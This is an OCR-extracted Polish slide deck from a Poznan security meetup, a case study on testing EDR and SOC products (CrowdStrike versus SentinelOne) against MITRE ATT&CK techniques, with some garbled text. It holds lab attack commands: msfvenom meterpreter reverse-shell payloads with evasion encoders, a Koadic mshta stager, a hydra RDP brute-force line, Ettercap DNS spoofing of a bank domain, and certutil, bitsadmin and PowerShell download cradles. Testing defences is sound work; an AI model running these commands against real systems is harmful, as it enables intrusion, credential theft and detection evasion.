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# POZNAN SECURITY MEETUP

> Luzna atmosfera

> Edukacja na kazdym poziomie

> Bez nachalnego marketingu i1 sprzedazy
> Rozwijamy tez umiejetnosci ‘miekkie’
> Nie oczekujemy zbyt wiele ;)

> Dobrze sie bawimy



# Czy, jak 1 po co testowac¢ systemy EDR oraz SOC

- case study



> Nie wiemy czy istnieja dopoki ich nie odtworzymy
> Robi¢ to za mato - trzeba testowac

> Systemy bezpieczenstwa réwniez




> Prébki wirusow (np. eicar.com)
>Witryny o ztej reputacjti
> Ztosliwe narzedzia (np. mimikatz)
> 7Zainfekowany zatacznik
> Zainfekowany pendrive
> RanSim Simulator od KnowBe4
To wszystko za mato - takie testy ewentualnie

nie zaawansowanych systeméw typu EDR/SOC

nadaja sie dla antywirusa,

10



> Detekcja zaawansowanych atakéw 1 ztozonych incydentéw
> Detekcja na réznych etapach kill-chain

> Swiadomoé¢ kontekstu

> Mozliwosci analityczne
> Wsparcie w reakcji na incydent

> (0graniczenie dalszej eskalacji
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MITRE | ATT&CK' Matrices - Tactics ~ Techniques ~ Defenses - CTI ~ Resources ~ Benefactors Blog &

TECHNIQUES Active Scanning

Active Scannin i
g Sub-techniques (3) D T1595
Scanning IP Blocks

- i - 1595 O T Q5 002
) Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans Sub-techniques: T1595.001, T1595.002,
Vulnerability Scanning o ) T1595.003
are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance

Wordlist Scanning that do not involve direct interaction. » Tactic: Reconnassance

Gather Victim Host Information @ Platforms: PRE

Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans Version: 1.0

Created: 02 October 2020
Last Modified: 08 March 2022

Gather Victim Identity Information can also be performed in various ways, including using native features of network protocols such as ICMP] Infarmation

Gather Victim Network Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search
Gather Victim Org Information Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial

. . access (ex: External Remote Services or Exploit Public-Facing Application). o L
Phishing for Information Version Permalink

Search Closed Sources

Mitigations

Search Open Technical Databases
Search Open Websites/Domains D Mitigation Description
Search Victim-Owned Websites

M1056 = Pre- This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and
Resource Development compromise controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.

Initial Access

Execution Detection

Persistence
1D Data Source Data Component Detects

Privilege Escalation

’ DS0029  Network Traffic ~ Network Traffic Meonitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards
Content and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous

Credential Access syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and

command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for

respective protocol(s)).

Defense Evasion

Discovery

Lateral Movement
Network Traffic Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or




MITRE | ATT&CK

TECHNIQUES

Active Scanning
Scanning IP Blocks
Vulnerability Scanning
Wordlist Scanning
Gather Victim Host Information
Gather Victim Identity Information
Gather Victim Network Information
Gather Victim Org Information
Phishing for Information
Search Closed Sources
Search Open Technical Databases
Search Open Websites/Domains
Search Victim-Owned Websites
Resource Development
Initial Access
Execution
Persistence
Privilege Escalation
Defense Evasion
Credential Access
Discovery

Lateral Movement

Matrices - Tactics ~ Techniques ~ Defenses -

Active Scanning

Sub-technigues (3)

D Name

T1595.001 Scanning IP Blocks
T1595.002 Vulnerability Scanning
T1595.003 Wordlist Scanning

Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans
are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance

that do not involve direct interaction.

Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans
can also be performed in various ways, including using native features of network protocols such as 1cMP 2 |nformation

from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search
Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial

access (ex: External Remote Services or Exploit Public-Facing Application).

Mitigations

1D Mitigation Description

Gl Resources ~ Benefactors Blog &

ID: T1595

Sub-techniques: T1595.001,T1595.002,
T1595.003

@ Tactic: Reconnaissance

© Platforms: PRE

Version: 1.0
Created: 02 October 2020
Last Maodified: 08 March 2022

Version Permalink

M1056 = Pre- This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and
compromise controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.

Detection

1D Data Source




MITRE ‘ A-IT&CK. Matrices ~  Tactics ~ hniques ~ Defenses ~ CTI ~ Resources ~ Benefactors Blog

ATT&CK v14 has been released! Check out the | S release notes for more information.

T E C H N | Q U ES Home = Technigues = Enterprise = Brute Force
Enter

Reconnaissance Bl’ute FOI’CE

Resource .

Sub-techniques (4) ID: T1110
Initial Act .
o Sub-technigues: T1110 0.002, T1110.
xecution .
Executior Tacti adential /
Persistence 1110.001 Platforms: Azure AD, Containers, Google Workspace, 1aaS, Linux,

tion Network, Office 365, Saas, Windows, mac0S
1110.002 C .
Defense Evasion Contributors: Alfredo Oliveira, Trend Micro; David Fiser, @anudis,
110,003 . Trend Micro; Ed Williams, Trustwave, SpiderLabs; Magno Logan,
S : @magnologan, Trend Micro; Mohamed Kmal; Yossi Weizman,

Adversary-in-the-Middle 1110004 N Azure Defender Research Team

Credential S5

Version: 2.5
Brute Force
vord Guessing Mitigations
Mitigation Description
int Use Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy may create a denial of service condition and render

Policies environments un-usable, with all accounts used in the brute force being locked-out. Use conditional access policies to block logins from nen-compliant devices or from outside defined organization IP
Credentials from Password Stores ranges.™

o
Lr

Exploitation for Credential A . ) N : ! B ; )
| ' - e Multi-factor Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services

Forced Authentication Authentication
Forge We dentials
gel Refer to NIST guidelines when creating password policies. 2
nput Capture
" , A t Proactively reset accounts that are known to be part of breached credentials either immediately, or after detecting bruteforce attempts.
Modify Authentication Process
Multi-Factor Authentication In
Multi- r Authentication Request .
- Detection
Network Sniffing

0S Credential Du mping Data Source Data Component Detects

Steal Application Access Token ) 5 og | Application ntent  Monitor authentication logs for system and application login failures of valid unts. If authentication failures are high, then there may be a brute force attempt to gain access to
a system using legitimate credentials.




# TESTUJEMY

> Kali Linux

13

A
e

it

|

myp =
SI3YE B &

>nmap -p- -A [-sS]|-sU] 192.168.0.0/24

>nmap -sV --script vulners

> dirbuster

P T ioma Do [ [ r— [ er——— o4 ~11:39PM I =

> hydra -1 administrator -P slownik.txt rdp://192.168.0.44/

> GVM
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> Kali Linux

>nmap -p- -A [-sS]|-sU] 192.168.0.0/24

>nmap -sV --script vulners

> dirbuster

> hydra -1 administrator -P slownik.txt rdp://192.168.0.44/

= GVM
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# MALWARE

> Kali Linux

> Metasploit

> msfvenom
msfvenom -p windows/x64/meterpreter/reverse tcp LHOST=108.1.2.181 LPORT=4343 -f exe > lraw.exe
msfvenom -p windows/x64/meterpreter/reverse tcp LHOST=10.1.2.101 LPORT=4343 -b '/x80' -f exe > 2avoldbad.exe
msfvenom -p windows/x64/meterpreter/reverse tcp LHOST=10.1.2.101 LPORT=4343 -e x86/shikata ga nali -T exe > 3shikata.exe
msfvenom -p windows/x64/meterpreter/reverse tcp LHOST=10.1.2.101 LPORT=4343 -e x86/shikata ga nai -1 5 - exe > 4shikatai5.exe
msfvenom -p windows/x64/meterpreter/reverse tcp LHOST=10.1.2.101 LPORT=4343 -e x86/shikata ga nal -1 50 -T exe > 5shikatai5@.exe
msfvenom -p windows/x64/meterpreter/reverse tcp LHOST=10.1.2.101 LPORT=4343 -e cmd/powershell basef4 - exe > 6cmdpwrshell.exe
msfvenom -p windows/x64/meterpreter/reverse tcp LHOST=10.1.2.101 LPORT=4343 -e cmd/powershell basef4 -i 5 -f exe = 7cmdpwrshelli5.exe
msfvenom -p windows/x64/meterpreter/reverse tcp LHOST=10.1.2.101 LPORT=4343 -e cmd/powershell basef4 -i 58 -T exe > BcmdpwrshelliS5e.exe

18



# MALWARE -

Blm mapewil|1 2 3 4|0

File

Edit View Go Bookmarks
= % 4+ & ¢« Akl =\ Deskiop

| Pscs  mimiat
| = Computer B raw.exe
Bl B mimikatz_trunk.zip
I Desktop
ot @ Recent
} ' Trash
i 4 | Documents
¥ & Music
! i Pictures
| Videos
8 Downloads
Devices
B rile system
Network
| 2] Browse Network
¥ /public/on10... &

Help

"mimikatz_trunk" | folder

KOPIOWANIE

mimikatz_trunk

x64

>+ A
Places

B8 Computer

B el

I Desktop

@ Recent

. Trash

& Documents

8 Music

| Pictures

® Videos

& Downloads
Devices

@& File System
Network

R

public on 10 . - Thunar

File Edit View Go Bookmarks Help

I publicon10.

B Traw.exe
M bin.exe
B bin2.exe
M bin3.exe
B bin4.exe
B binS.txt
B bin5.zip
B calc.exe
B d.bin

B d.exe

B d.payload
B d2.exe
B dlxt

B footer

mimikatz_trunk  x64

[ Browse Network  m header

B mimikatz_trunk.zip
B msf.exe

B plik.oxt

B script.ps1

B script2.ps1

"mimikatz_trunk" | folder

P ey v e

O 60 a @ | &

Q

s Q
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# MOZE JAKIS FUD?
> KOADIC C3 (c:\> mshta http://10.0.0.101/test)

> HAVOC (c:\> rundll132 daemon.dll)

[+] Zombie @: Staging new connection (1@ J) on Stager @ # Havo
[+] Zombie @: \testkuba @ + — Windows 1@ Enterprise STt UilsD CEEET Saaii il
(koadic: sta/js/mshta)#

(koadic: sta/js/mshta)ffi zombies

ID IP STATUS LAST SEEN o
4] 1@ 3 Alive 2023-07-17 B8:38:26 ® rundl132. exe\9124

“testkuba]

Use "zombies ID" for detailed information about a session.

Use "zombles IP" for sessions on a particular host.

Use "zombies DOMAIN" for sessions on a particular Windows domain.
Use "zombies killed" for sessions that have been manually killed.

Teamserver Chat X Listeners X t ‘] File Explorer x L 1 testkuba/ 4 x

(koadic: sta/js/mshta)# 17/07/2023 08

1159 Agent authenticated as | \testkuba :: [Internal: 10 91 [Process: rundll32.exe\9124] [Arch: x64] [Pivot: Direct]

20



# EDR OFFLINE

> Co gdy nie ma chmury?

> Nowe probki by uniknac¢ wykrycia przez zarejestrowany IOC

> Dostarczone na pamieci USB flash

> W obu systemach detekcja ztosliwego pliku

> CrowdStrike dodatkowo zainicjowat skanowanie catej pamieci flash i przeniést

pliki do kwarantanny

21



# OPERACJE NA PAMIECI / PROCESACH
> 7rzut pamieci procesu LSASS
> Sysinternals NotMyFault (symulacja wycieku pamieci jadra)

> Sysinternals RAMmap (zapis mapy pamieci fizycznej)

> Préba zrzutu pamieci procesu LSASS nie powiodta sie, jednak tylko system

> CrowdStrike zareagowat alertem informujacym o potencjalnej proéobie przechwycenia

uprawnien.

22



= Ettercap

> Zatrucie tablicy ARP

> Przechwycenie sesji logowania http
> DNS spoofing

= PKO.PL 22?7

OSPF: + AUTH: No Auth

OSPF. + AUTH: No Auth

OSPF: + AUTH: No Auth

DHCP: ACK:10 255.255.255.0 GW 10 DNS10

OSPF: + AUTH: No Auth

HTTP: :80 -> USER: logintestowy PASS: haslotestowe INFO: http://spjvs.uwm.edu.pl/index/login/

CONTENT: type=author &username=logintestowy&password=naslotestoweglogin=Login

OSPF: -> AUTH: No Auth
dns_spoof: A [pko.pl] spoofed to 10 NRRISE k|
OSPF: -> AUTH: No Auth
OSPF: -> AUTH: No Auth
dns_spoof: A [pko.pl] spoofed to [10. ] TTL[3600 s]

PKOPL?2?

- = 1604
[Pl © Wpisz tutaj, aby wyszukaé =] A - o202
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> Bad USB - Rubber Ducky
> Hotplug - Shark Jack

> Network implant - Packet Squirrel

25



# GITHUB - OP7IC/EDR-Testing-Script

€& > C f & githubcom/op7ic/EDR-Testing-Scripk o a < & , @ B s 20 2
0 Product ¥  Solutions ~ Open Source ~ Pricing \ ) Search or jump to... £ \ Sign in
A op7ic/ EDR“T@S“!’!Q-E;CE'”'}{ Public L\ Notifications % Fork 77 T Star 256

<> Code (5 Issues (1 11 Pullrequests () Actions [ Projects () Security |~ Insights

¥ master ~ P 1lbranch ©0tags Go to file - About

Test the accuracy of Endpoint Detection

| op7ic Update README.md 5243e8f on Oct 21, 2021 (l) 69 commits and Response (EDR) software with
simple script which executes various
m Cobalt cobalt plugin 4 years ago ATT&CK/LOLBAS/Invoke-
B Payloads e S CradleCrafter/Invoke-DOSfuscation
PEVELS
[ LICENSE Update LICENSE 5 years ago
[ README.md Update README.md 2 years ago
[ runtests.bat update 4 years ago mal Eaenhi
58 MIT license
README.md Ae ACUVity
Yr 256 stars
EDR-Testing-Script ® 18 watching
Y 77 forks
This repository contains simple script to test EDR solutions against Mitre ATT&CK/LOLBAS/Invoke-CradleCrafter Report repository

framewarks. This project is very much in its infancy right now. It is written as a single batch script so it can be easily
uploaded and run (as opposed to un-zipped, compiled and installed). The script can run either as a normal user or as
Administrator however not giving it high privilages will fail some tests. Releases



# LOLBIN / LOLBAS

& github.com/LOLBAS-Project/LOLBAS
:= README.md

Living Off The Land Binaries and Scripts (and now
also Libraries)

All the different files can be found behind a fancy frontend here: hitp: 0j¢ ) (thanks
@ConsciousHacker for this bit of eyecandy and the team over at hiips:/ot jithub.iof). This repo serves as a
place where we maintain the YML files that are used by the fancy frontend.

Goal

The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The
Land techniques.

Criteria

A LOLBin/Lib/Script must:

= Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft.

= Have extra "unexpected” functionality. It is not interesting to document intended use cases.
« Exceptions are application whitelisting bypasses

« Have functionality that would be useful to an APT or red team

27



# LOLBIN/LOLBAS

> Uruchamianie kodu

> Kompilowanie kodu

> Operacje na plikach (upload, download)
> Persistence (utrwalanie)

> 0Omijanie UAC

> 7rzut pamiecil procesu

> Kradziez danych uwierzytelniajacych

> 0mijanie / modyfikowanie dziennikéw systemowych

28



@ lolbas-project.github.io a < & (% € > C t @& githubcompsi

naHQ)

README.md

OLBAS @5 o

Living Off The Land Binaries, Scripts and Sigma - Generic Signature Format for SIEM Systems
Libraries

For more info on the project, click on the logo.

If you want to , check out our . our =
out what we define as a LOLBin/Script/Lib. More information on I a
programmatically accesssing this project can be found on the ; I I l

MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE
Corporation. You can see the current ATT&CK® mapping of this project on the

Te igma |Official -
If you are looking for UNIX binaries, please visit ; Osirariees Il O so B, ST
If you are looking for drivers, please visit 2 ‘Opon otrse Sosurtynlex

L

Welcome to the Sigma main rule repository. The place where detection engineers, threat hunters and all defensive
security practitioners collaborate on detection rules. The repository offers more than 3000 detection rules of different

Functions Type T::If:\cn;(u@es type and aims to make reliable detections accessible to all at no cost.

Bliaries Currently the repository offers three types of rules:

e . - Are threat agnostic, their aim is to detect a behavior or an implementation of a
technique or procedure that was, can or will be used by a potential threat actor.

b . - Are broader in scope and are meant to give the analyst a starting point to hunt for
potential suspicious or malicious activity

e 5 - Are rules that cover specific threats, that are timely and relevant for certain periods of
time. These threats include specific APT of Zero-Day specific malware

Binaries used during an attack,...etc.

https://github.com/SigmaHQ/sigma

Grzegorz Tworek £

in my favorite built-in tool ? 1 am seriously disappeointed now. @
Requires Windows 11, as it's related to a new set of features related to
"fsutil trace" command.

c:\Temp\fsutil>dir

Volume in drive C has no label.
Volume Serial Number is 1297-47FB
Testujemy nowy LOLBin na Windows -

Ipremove.exe Directory of c:\Temp\fsutil

B microsott ptaci za biedy 2823-11-84 ©9:42 <DIR>
2023-11-64 ©9:42 <DIR> s
2022-03-14 ©8:82 121,872 netsh.exe

1 File(s) 121,872 bytes

2 Dir(s) 7u45,339,490,304 bytes free

Nowe ataki hakeréw na

Uruchamianie malware za pomoca

whbudowanego w Windows narzedzia do . 7

modyfikacji ustawien si wych netsh.exe c:\Temp\fsutil>fsutil trace decode
g Nowa, bardzo powazna luka

RCE w Splunk. tatajciel TraceFile = C:\PerfLogs\Admin\Fsutil_NtfsTrace.etl
PWNED!

2y ,ClAM” znaczy zawsze to

[ \Temp\fsutil>|

z - a2 siedem nowych
. Pokazujemy, co mozesz uruchomic¢ w
o sie dzieje u twércy ChatGPT

https://kapitanhack.pl https://twitter.com/0Ogtweet


https://lolbas-project.github.io/

# OP7IC - EDR-Testing-Script

EDR-Testing-Script / runtests.bat T Top

|’ Code | Blame 1693 lines (925 loc) - 83.6 KB Raw D & - @
98
99 echo %time% %date% [+] T1197 - Testing bitsadmin download
100 start "" cmd /c bitsadmin.exe /transfer "JobName" https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt "%cd¥%'
1e1 echo Execution Finished at %time% %date%
102 echo Command Excuted: bitsadmin.exe /transfer /Download https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt
183 start "" cmd /c powershell -c "Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/
104 echo Command Excuted:powershell -c "Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/ma
185 echo Execution Finished at %time% %date%
1686
107 timeout 5
1e8
109 echo %time% %date% [+] T1118 - Testing Installutil x86"
110 start "" cmd /c C:\Windows\Microsoft.NET\Framework\v4.0.38319\Installutil.exe /logfile= /LogToConscle=false /U AllTheThings.dll
111 echo Execution Finished at %time% %date%
112 echo Command Excuted: C:\Windows\Microsoft.NET\Framework\v4.@.30319\Installutil.exe /logfile= /LogToCocnsole=false /U AllTheThings.dll
113 timeout 5
114
115 echo %time% %date% [+] T1118 - Testing InstalluUtil x64
116 start "" cmd /c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
117 echo Execution Finished at %time% %date%
118 echo Command Excuted: C:\Windows\Microsoft.NET\Framework64\v4.8.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
119
128 timeout 5
121
122 echo %time% %date% [+] T117@ - Testing mshtha
123 start "" cmd /c mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Mshta_calc.sc
124 echo Execution Finished at %time% %date%
125 echo Command Excuted: mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Mshta c:
126 timeout 5
127
128 echo %time% %date% [+] T1886 - Testing powershell cradle - WebClient
129 start "" cmd /c powershell -c¢ "(New-Object Net.wWebClient).DownloadFile('https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payload
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0000000

:\Users\testkuba\Downloads\EDR\runtests>
:\Users\testkuba\Downloads\EDR\runtests>
:\Users\testkuba\Downloads\EDR\runtests>
:\Users\testkuba\Downloads\EDR\runtests>
:\Users\testkuba\Downloads\EDR\runtests>
: \Users\testkuba\Downloads\EDR\runtests>
:\Users\testkuba\Downloads\EDR\runtests>

:\Users\testkuba\Downloads\EDR\runtests>

:\Users\testkuba‘\Downloads\EDR\runtests>

:\Users\testkuba\Downloads\EDR\runtests>
:\Users\testkuba\Downloads\EDR\runtests>

:\Users\testkuba\Downloads\EDR\runtests>

:\Users\testkuba\Downloads\EDR\runtests>
:\Users\testkuba\Downloads\EDR\runtests>

:\Users\testkuba\Downloads\EDR\runtests>

:\Users\testkuba\Downloads\EDR\runtests>
:\Users\testkuba‘\Downloads\EDR\runtests>
:\Users\testkuba\Downloads\EDR\runtests>
‘\Users\testkuba\Downloads\EDR\runtests>
:\Users\testkuba\Downloads\EDR\runtests>
:\Users\testkuba\Downloads\EDR\runtests>

:\Users\testkuba\Downloads\EDR\runtests>certutil.exe -urlcache -split -f http://16.

le_Path3.ps1
k%% Online ****

CertUtil: -URLCache command completed successfully.

&

==l22]
0606

:\Users\testkuba\Downloads\EDR\runtests>

SentinelOne - brak reakcji / CrowdStrike blokada i raport

@/p/Crad

# Szybki dostep

5 Dokumenty
& Pobrane

= Obrazy

4 Ten komputer

= Dokumenty

= Obrazy
4 Pobrane

B Pulpit

B wideo

.9 Windows (C:)

A

» Ten komputer » Pobrane » EDR » runtests

123 ot
1033 txt

¥ Default_File Path0.ps1

Default_File_Path3.ps1
runtests_T

runtests T10.
runtests_T1047.bat
runtests_T1053.bat
runtests_T1085
runtests_T1086.bat
runtests_T1096.bat

runtests_T1117.bat

runtests_T1127.bat
runtests_T1130.bat
runtests_T1138a.bat
runtests_T1138b.bat

runtests_T1140.bat

| runtests T1170.bat
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runtests

:C:\USEF‘S\‘tEStkUba\DOWI"}lOEdS\EDR\I"UI"ItEStS>ECh0 AAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAALALAAAAAAAAALAALALA
4
C: \Users\testkuba\Downloads\EDR\runtests>echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA £ Dokumenty

4 b Pobrane

= Obrazy
AAAAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAALAAAAAAALLAALALL Obrazy

IC: \Users\testkuba\Downloads\EDR\runtests>echo
| A D Muzyka

C: \Users\testkuba\Downloads\EDR\runtests>echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA SOl
E m Wideo calc3.
Default_File_Path0.ps1

C:\Users\testkuba\Downloads\EDR\runtests>echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN @ Ten komputer : i :

4 & Default_File_Path3.ps1
5 Dokumenty fib64

C: \Users\testkuba\Downloads\EDR\runtests>echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL J\ Muzyka runtests_T10

4
# Obiekty 3D runtests_T1033.ba

C: \Users\testkuba‘\Downloads\EDR\runtests>echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN &= Obrazy runtests_T1047.bat

4

2 Pobene runtests T1053.bat

C: \Users\testkuba\Downloads\EDR\runtests>echo AAAAAAAAAAAAAAAAAAAAAA== >> fi.b64 I Pulpit runtests_T1085.bat

‘ runtests_T1086.bat

C: \Users\testkuba\Downloads\EDR\runtests>echo ----- END CERTIFICATE----- >> fi.be4 B wideo runtests T1096.bat
Windo 1)

C: \Users\testkuba\Downloads\EDR\runtests> o runtests T1117.bat

C: \Users\testkuba\Downloads\EDR\runtests>certutil -f -decode fi.b64 AllTheThings.dll >nul TESTRRNE Q.

| runtests_T1130.bat

C: \Users\testkuba‘\Downloads\EDR\runtests>

runtests_T113
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# ROZNICE: CROWDSTRIKE > SENTINELONE

> Podtaczenie USB Rubber Ducky

> Proba zrzutu pamieci procesu LSASS

> Ztosliwy kod w 2 plikach zaciemnionych przy uzyciu FUD-UUID-SHELLCODE

> Pobranie potencjalnie niebezpiecznego pliku XSL za pomocg wmic (T1047)

> Pobranie i wykonanie skryptu ze zdalnego serwera przez Invoke-Expression (T1086)
> Pobranie i1 zapisanie skryptu powershell za pomoca certutil (T1130)

> Deobfuskacja ztosliwej biblioteki DLL za pomoca certutil (T1140)

> Zdefiniowanie w rejestrze opcji File Execution Options (IFEO) (T1183)
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II — MITRE ATT&CK Results + Resources ~

=== ENGENUITY. | Evaluations

Our ATT&CK® Evaluations methodology

ATT&CK® Evaluations' mission is to bridge the gap between the security solution providers and their users/customers by enabling users to better understand and defend against known adversary
behaviors through a transparent evaluation process and publicly available results - leading to a more informed community and safer world for all. We use adversary emulation to scope evaluations in
context of the MITRE ATT&CK® framework. The evaluations address today's threats by using tactics, tools, methods, and goals inspired by that of known attacks.

Techniques are executed in a logical step-by-step ordering to explore the breadth of ATT&CK coverage. And because adversaries may execute the same technique, but in very different ways, our
evaluations use procedural variation to capture the same behavior via different methods to explore the depth of ATT&CK coverage.

Develop
= 133
rd
Planning Development
Threat landscape research and adversary selection Development of the components required to conduct the evaluation

Intent Decomposition . ) .

We take into account concerns (e.g ransomeware vs. data theft) voiced from our user We extract.cyberthreat intelligence (CTI) into individual components that compromise
community the emulation plan

Chain

Differentiation ; ) . ) X
We recompile and organize procedures into a larger emulation scenario

We balance the usage of new and previously tested techniques

Refinement

Sophistication
We fill in gaps through collaboration and targeted research

We consider development resources and whether we are baselining or pushing defenses

Tooling

Intelligence
We select/build offensive tools that can faithfully replicate behaviors

We assess the quantity and quality of intel to thoroughly understand the adversary
Customization

We capture important tradecraft details (e.g. delivery mechanisms, command and control,
etc)

Review
We compare against CTl and note deviations

https://attackevals.mitre-engenuity.org/
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# ZNANE GRUPY APT
> Wizard Spider

> Sandworm

> Carbanak

> FIN7

= APT29

> APT3

> Turla (2023)
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Get Evaluated

II — MITRE ATT&CKQ Results « Resources
=== ENGENUITY. | Evaluations

Home > Results >

Evaluation

Wizard Spider + Sandworm

Scenario

Wizard Spider

Participant(s)

Wizard Spider + Sandworm (2022)

Evaluation

Wizard Spider is a financially motivated criminal group that has been
conducting ransomware campaigns since at least August 2018 against a

variety of organizations, ranging from major corporations to hospitals. [1 2]

Sandwarm Team is a destructive Russian threat group that has been
attributed to Russian GRU Unit 74455 by the U.S. Department of Justice
and U.K. National Cyber Security Centre. Sandwaorm Team's most notable
attacks include the 2015 and 2016 targeting of Ukrainian electrical
companies and 2017's NotPetya attacks. Sandworm Team has been active
since at least 2009, [T I BI]

This round will focus on how multiple groups abuse Data Encrypted For
Impact (T1486). In Wizard Spider's case, they have leveraged data
encryption for ransomware, including the widely known Ryuk malware
(s0448). sandworm, on the other hand, leveraged encryption for the
destruction of data, perhaps most notably with their NotPetya malware
(S0368) that disguised itself as ransomware. While the common thread to
this year's evaluations is Data Encrypted for Impact, both groups have
substantial reporting on a broad range of post-exploitation tradecraft.
Our evaluation puts security solution vendors that participate through a
rigorous emulation covering two scenarios around Wizard Spider and
Sandworm TTPs.

Learn More

Wizard Spider

Scenario

This scenario begins with a legitimate user downloading and executing
Emotet, a malicious payload delivered via spearphishing attacks. Once the
enterprise network is identified, Emotet installs persistence, conducts
initial reconnaissance, and downloads Trickbot. Wizard Spider navigates
through the network in search of the Domain Contrellers, installing
persistence and conducting privilege escalation using Mimikatz and
Rubeus along the way. Wizard Spider stops and kills all backup services and
processes on the Domain Controller. Once completed, Ryuk is executed
throughout the environment, encrypting files and dropping a ransom note
at each folder.

Collapse
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Evaluations

CONQUCTING ransomware campalgns SINCe 3T 1east AugusT ZUTs againsta EMOTET, 3 MaNcIous payroaa aelverea via Spearpnisning atracks: unce e
variety of organizations, ranging from major corporations to hospitals, [ [2] enterprise network is identified, Emotet installs persistence, conducts
Participant(s) sandwaorm Team is a destructive Russian threat group that has been initial reconnaissance, and downloads Trickbot. Wizard Spider navigates
attributed to Russian GRU Unit 74455 by the U.S. Department of Justice through the network in search of the Domain Controllers, installing
CrowdStrike , SentinelOne and UK. National Cyber Security Centre. Sandworm Team's most notable persistence and conducting privilege escalation using Mimikatz and
attacks include the 2015 and 2016 targeting of Ukrainian electrical Rubeus along the way. Wizard Spider stops and kills all backup services and
Steps Tactics companies and 2017's NotPetya attacks. Sandworm Team has been active processes on the Domain Controller. Once completed, Ryuk is executed

Wizard Spider

— since at least 2009, (12 B1 4] throughout the environment, encrypting files and dropping a ransom note

This round will focus on how multiple groups abuse Data Encrypted For at each folder.
Impact (T1486). In Wizard Spider's case, they have leveraged data
encryption for ransomware, including the widely known Ryuk malware

Collection (TA0009) ( 46). Sandworm, on the ather hand, leveraged encryption for the

Command and Control (TAQOTT) destruction of data, perhaps most notably with their NotPetya malware

Credential Access (TADO0E) hat d\sgu\sed.\(sel' as ransomware. While the common thread to
this year's evaluations is Data Encrypted for Impact, both groups have

Defense Evasion (TAO005) substantial reporting on a broad range of post-exploitation tradecraft.

Discovery (TAD007) Our evaluation puts security solution vendors that participate through a

Execution (TA0002) rigorous emulation covering two scenarios around Wizard Spider and
Sandworm TTPs.

Impact (TA0040)

Lateral Movement (TA0008) Learn More

Persistence (TA0003) Collapse

Y iy

CROWDSTRIKE SentinelOne

CrowdStrike SentinelOne

v Modifiers

Scenario Detection Scenario Detection

ﬁ

Detection Key

Tactic Detection Tactic Detection _

Collection (TA0008) Collection (TA0009) More Specific Less Specific




= MITRE

= ENGENUITY.

ATT&CK’
Evaluations

1.A1 - User Execution(T1204)

Detection criteria
explorer.exe executes winword.exe

Execution (TA0002) User Execution (T1204) Malicious File (T1204.002)

CrowdStrike SentinelOne
@ Technigue @ Technique

Results «

Resources Get Evaluated

Data Source Data Source

Process: Process Creation Process: Process Creation

1A.2 - Command and Scripting Interpreter(T1059)

Detection criteria
winword.exe loads VBEULDLL, executes code via AutoOpen()

Execution (TA0002) Command and Scripting Interpreter (T1059) Visual Basic (T1059.005)

CrowdStrike SentinelOne

@ Technique @ Technique

Detection Key

More Specific

Less Specific




> Pokrycie analityczne - ilos¢ zdarzen wzbogaconych o dane analityczne

> Pokrycie telemetryczne - ilosSc¢ zdarzen zawierajacych tylko minimalnie
przetworzone dane

> Widocznos¢ - taczna i1los¢ zdarzen analitycznych 1 telemetrycznych

>taczna liczba detekcji (statystyka porzucona w 2022)

System CrowdStrike System SentinelOne
Pokrycie analiu-'czne 94/109 108/109

Catkowita liczba detekcji Statystyka porzucona w 2022 | Statystyka porzucona w 2022
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> Czy testowac? - Tak

> PrzemySle¢ procedure testowa, poszukac¢ narzedzi

> Nie wyciaga¢ pochopnych wnioskow

> Wz1a¢ pod uwage czynniki zewnetrzne (np. kto wdrazat)
> Szuka¢ potwierdzenia dla wtasnych obserwacji

> Szuka¢ opracowan w danym temacie
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# DZIEKUJE ZA UWAGE
# logout
